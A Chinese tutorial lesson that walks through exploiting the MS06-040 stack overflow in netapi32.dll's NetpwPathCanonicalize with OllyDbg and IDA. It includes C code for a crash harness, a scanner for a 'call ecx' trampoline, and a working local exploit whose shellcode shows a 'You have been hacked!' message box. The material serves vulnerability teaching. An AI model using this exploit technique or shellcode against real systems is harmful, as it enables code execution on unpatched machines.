缓冲区溢出分析第08课：MS06-040漏洞研究——动态调试

前言

经过上次的分析，我们已经知道了MS06-040漏洞的本质，那么这次我们就通过编程实现漏洞的利用。

编写漏洞利用程序的框架

这里我使用的是VC++6.0进行编写，需要将包含有漏洞的netapi32.dll文件与工程文件放置在同一个目录下。程序如下：

1. #include <windows.h>
2. typedef void (*MYPROC)(LPTSTR, ...);
3. int main()
4. {
5. char Str[0x320];
6. char lpWideCharStr[0x440];
7. int  arg_8 = 0x440;
8. char Source[0x100];
9. long arg_10 = 44;
10. HINSTANCE LibHandle;
11. MYPROC Func;
12. char DllName[] = "./netapi32.dll";
13. LibHandle = LoadLibrary(DllName);
14. if( LibHandle == NULL)
15. {
16. MessageBox(0, "Can't Load DLL!", "Warning", 0);
17. FreeLibrary(LibHandle);
18. }
19. Func = (MYPROC)GetProcAddress(LibHandle, "NetpwPathCanonicalize");
20. if ( Func == NULL )
21. {
22. MessageBox(0, "Can't Load Function Address!", "Warning", 0);
23. FreeLibrary(LibHandle);
24. }
25. memset(Str, 0, sizeof(Str));
26. memset(Str, 'a', sizeof(Str)-2);
27. memset(Source, 0, sizeof(Source));
28. memset(Source, 'b', sizeof(Source)-2);
29. (Func)(Str, lpWideCharStr, arg_8, Source, &arg_10, 0);
30. FreeLibrary(LibHandle);
31. return 0;
32. }

程序主要是通过LoadLibrary()函数获取当工程前目录中的netapi32.dll被加载后的基地址，再获取位于该DLL中的NetpwPathCanonicalize()函数的地址，并且利用memset()函数对包含有漏洞的函数的Str和Source参数的内容进行填充，最后再对其进行调用。将程序编译执行，系统会提示出错：

图1

由错误代码可知，程序出现了缓冲区溢出的错误，返回地址被覆盖成了0x61616161，也就是四个“a”。

动态调试漏洞

我们使用OD载入上述程序，同时用IDA载入Netapi32.dll这个动态链接库。然后在OD中执行完LoadLibrary()这个函数：

图2

可见此时netapi32.dll已经成功加载，并且eax中保存的就是该动态链接库的加载地址。下面在IDA中找到函数NetpwPathCanonicalize()函数的地址：

图3

可见该函数的地址为0x7517F2E2，那么我们在OD中直接跳到这个位置，下断点并执行过来：

图4

结合上次的分析我们知道，出问题的函数是位于0x7517F856位置处的函数调用call sub_7517FC68：

图5

那么接下来用OD进入这个CALL进行分析。首先看一下当前栈中的情况：

图6

由上图可知，返回地址为0x0012F670的位置，也是需要被“跳板”覆盖的位置。这里让程序执行完第一个字符串拷贝函数：

图7

可以看到，程序在位于0x0012F258位置处开始，一共拷贝了254也就是0xFE个字母“b”，这和我们编写的程序是一致的。然后程序会在这段字符串后面加上“\”，接着来到了第二个字符串拷贝的位置：

图8

这里将长串字符“a”连接在了“\”的后面，“a”的起始地址为0x0012F358，一共拷贝了798也就是0x31E个。这与我们所编写的程序是一致的。然后执行到返回的位置，由于返回地址是一个不可识别的空间，所以就会提示出错：

图9

此时可以发现，ecx中保存的正是缓冲区起始位置的地址，那么我们就可以利用这一特性，将ShellCode植入Source串中，并将返回地址覆盖为call ecx，这样当程序返回的时候，就会直接来到0x0012F258的位置进行执行。

获取CALL ECX地址

我们还需要查找一下call ecx这条指令。它的OPCODE为FFD1，我们直接在Netapi32.dll这个程序中进行查找，只需将我们之前讲过的用于查找call esp的程序稍作改动即可：

1. #include <windows.h>
2. #include <stdio.h>
3. #include <stdlib.h>
4. #define DLL_NAME "./netapi32.dll"
5. int main()
6. {
7. BYTE *ptr;
8. int position,address;
9. HINSTANCE handle;
10. BOOL done_flag = FALSE;
11. handle = LoadLibrary(DLL_NAME);
12. if(!handle)
13. {
14. printf("load dll error!");
15. exit(0);
16. }
17. ptr = (BYTE*)handle;
18. for(position = 0; !done_flag; position++)
19. {
20. try
21. {
22. if(ptr[position]==0xFF && ptr[position+1]==0xD1)
23. {
24. int address = (int)ptr + position;
25. printf("OPCODE found at 0x%x\n", address);
26. }
27. }
28. catch(...)
29. {
30. int address = (int)ptr + position;
31. printf("END OF 0x%x\n", address);
32. done_flag = true;
33. }
34. }
35. getchar();
36. return 0;
37. }

结果如下：

图10

依据上图，这里我选择的是第一个结果，也就是0x751852F9作为我们的ShellCode的跳板。需要说明的是，这里的返回地址为0x0012F670，缓冲区的开始位置是0x0012F258，它们之间的偏移为0x418，去掉参数Source以及“\”所占据的0x100，得到0x418-0x100=0x318，也就是说，从Str字符串的偏移0x318位置开始，就是需要我们覆盖掉的返回地址的位置。

完成漏洞利用程序

于是可以将之前的框架程序修改为：

1. #include <windows.h>
2. typedef void (*MYPROC)(LPTSTR, ...);
3. char ShellCode[] =
4. "\x33\xDB"                          // xor ebx,ebx
5. "\xB7\x06"                          // mov bh,6
6. "\x2B\xE3"                          // sub esp,ebx
7. "\x33\xDB"                          // xor ebx,ebx
8. "\x53"                              // push ebx
9. "\x68\x69\x6E\x67\x20"
10. "\x68\x57\x61\x72\x6E"              // push "Warning"
11. "\x8B\xC4"                          // mov eax,esp
12. "\x53"                              // push ebx
13. "\x68\x2E\x29\x20\x20"
14. "\x68\x20\x4A\x2E\x59"
15. "\x68\x21\x28\x62\x79"
16. "\x68\x63\x6B\x65\x64"
17. "\x68\x6E\x20\x68\x61"
18. "\x68\x20\x62\x65\x65"
19. "\x68\x68\x61\x76\x65"
20. "\x68\x59\x6F\x75\x20"   // push "You have been hacked!(by J.Y.)"
21. "\x8B\xCC"                           // mov ecx,esp
22. "\x53"                               // push ebx
23. "\x50"                               // push eax
24. "\x51"                               // push ecx
25. "\x53"                               // push ebx
26. "\xB8\xea\x07\xd5\x77"
27. "\xFF\xD0"                           // call MessageBox
28. "\x53"
29. "\xB8\xFA\xCA\x81\x7C"
30. "\xFF\xD0" ;                          // call ExitProcess
31. int main()
32. {
33. char Str[0x320];
34. char lpWideCharStr[0x440];
35. int  arg_8 = 0x440;
36. char Source[0x100];
37. long arg_10 = 44;
38. HINSTANCE LibHandle;
39. MYPROC Func;
40. char DllName[] = "./netapi32.dll";
41. LoadLibrary("user32.dll");
42. LibHandle = LoadLibrary(DllName);
43. if( LibHandle == NULL)
44. {
45. MessageBox(0, "Can't Load DLL!", "Warning", 0);
46. FreeLibrary(LibHandle);
47. }
48. Func = (MYPROC)GetProcAddress(LibHandle, "NetpwPathCanonicalize");
49. if ( Func == NULL )
50. {
51. MessageBox(0, "Can't Load Function Address!", "Warning", 0);
52. FreeLibrary(LibHandle);
53. }
54. memset(Str, 0, sizeof(Str));
55. memset(Str, 'a', sizeof(Str)-2);
56. memset(Source, 0, sizeof(Source));
57. memset(Source, 'b', sizeof(Source)-2);
58. memcpy(Source, ShellCode, sizeof(ShellCode));
59. Str[0x318] = 0xF9;
60. Str[0x319] = 0x52;
61. Str[0x31A] = 0x18;
62. Str[0x31B] = 0x75;
63. (Func)(Str, lpWideCharStr, arg_8, Source, &arg_10, 0);
64. FreeLibrary(LibHandle);
65. return 0;
66. }

运行结果如下：

图11

可见我们已经成功地利用了这个漏洞。

小结

由此可见，对于系统级别的漏洞，及时更新补丁是非常重要的。而作为漏洞分析人员，也要具备恒心与毅力，不断地积累经验，勇于接受挑战，多多尝试，才能有所收获。